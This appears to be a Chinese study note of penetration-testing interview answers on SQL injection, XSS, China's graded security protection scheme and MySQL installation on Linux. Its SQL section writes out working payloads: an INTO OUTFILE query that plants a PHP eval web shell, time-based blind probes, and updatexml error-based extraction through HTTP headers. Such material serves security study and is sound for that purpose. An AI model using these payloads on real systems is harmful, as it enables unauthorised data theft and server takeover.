提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
小白的渗透测试面试小记
一、SQL部分
1.SQL注入原理
将前端用户输入的恶意SQL语句未经处理,传入数据库并执行,从而进行攻击的方式
2.SQL注入种类
注入点类型分类:数字类型的注入,字符串类型注入,搜索形注入
注入方式:布尔盲注,时间盲注,报错注入,联合查询注入
3.判断数据库类型
报错注入可根据报错信息判断数据库类型;
特有表判断:mssql数据库(sysobjects),access数据库(msysobjects),mysql数据库(mysql版本在5.0以上)(information_schema.TABLES),oracle数据库( sys.user_tables)
4.SQL注入条件
调用数据库的动态页面
5.SQL注入into outfile
条件:对web目录需要有写权限能够使用单引号,知道绝对路径,没有配置-secure-file-priv
利用:?id=1 union select "<?php @eval($_POST['123']);?>" into outfile("C:/phpStudy/WWW/a.php")
或者采用PHPmyadmin,选择一个数据库如test,在数据库中新创建一个表aa,在aa中插入一个数据<?php @eval($_POST['123']);?>,然后用select * from aa into outfile 'C:/phpStudy/WWW/a.php';
6.延时注入
如执行了sql但页面均正常返回,则可利用延时注入;利用sleep()函数使延迟执行来判断并获得信息
select * from test where id = 1 and if (substr(version(),1,1)=5,1,sleep(5)) 这条语句执行时,如果mysql版本不是5,则延时5秒,根据页面返回时长来判断数据库版本
如无法使用sleep函数,则可用benchmark来判断;select * from user where id = (select if(0 = BENCHMARK(5000000,md5("test")),'2','4'));
7.HTTP头注入
原理:通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询
条件 :能够对请求头消息进行修改,修改的请求头信息能够带入数据库的查询,数据库没有对输入的请求信息做过滤
注入点:User-Agent,Referer,X-Forwarded-For
爆库:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#
报表:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)#
爆字段:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)#
爆数据:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)#
8.SQL注入的防护
前端对用户的输入进行限制,过滤,输出是转译
后端对输入进行校验,处理
预编译,绑定变量
9.Orderby注入
二、XSS
与SQL注入类似,不过是通过前端语言实现对浏览器的控制与操作
1.类别
反射性:事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码
存储型:留言,评论等存储到数据库中;非常危险,容易造成蠕虫,大量盗窃cookie
DOM型:攻击的payload是由于修改受害者浏览器页面的DOM树而执行的,特殊的地方在于payload在浏览器本地修改dom树而执行,并不会传到服务器上
2.存在地方
前端页面;自定义http头?JSON中?
3.XSS前提
需要向web页面注入恶意代码;这些恶意代码能够被浏览器成功的执行
4.xss的防护
对输入和URL参数进行过滤(白名单和黑名单);
对输出进行编码
二、等级保护
什么是等级保护2.0
保证公司网络信息,信息被破坏后进行评级,评测,整改,备案等
在1.0的基础上进行深入,有被动变为主动
规定动作不变为:定级、备案、建设整改、等级测评、监督检查
覆盖了:云计算、物联网、移动互联网、工业控制、大数据
网络设备
中继器、集线器、网桥、交换机、路由器、网关、网卡
安全设备
WAF、IDS、IPS、防火墙、VPN
https://blog.csdn.net/weixin_46162146/article/details/105295893
linux下数据库安装调试
rpm -qa | grep mysql 查看是否已安装 rpm(红帽软件包管理器)
若有 可卸载:
rpm -e mysql-libs-5.1.52-1.el6_0.1.x86_64 // 普通删除模式
rpm -e --nodeps mysql-libs-5.1.52-1.el6_0.1.x86_64 // 强力删除模式,如果使用上面命令删除时,提示有依赖的其它文件,则用该命令可以对其进行强力删除检查是否有 mariadb 数据库,有则卸载
rpm -qa | grep mariadb
下载mysql的 tar.gz安装包
上传至linux,解压
cd /opt/mysql
tar -zxvf mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz
mv mysql-5.7.25-linux-glibc2.12-x86_64 mysql-5.7.25
添加系统mysql组和mysql用户
cat /etc/group | grep mysql
groupadd mysql
useradd -r -g mysql mysql
三、LINUX常用命令
https://blog.csdn.net/qq_40910541/article/details/80686362
https://www.cnblogs.com/zhangchaocoming/p/12501088.html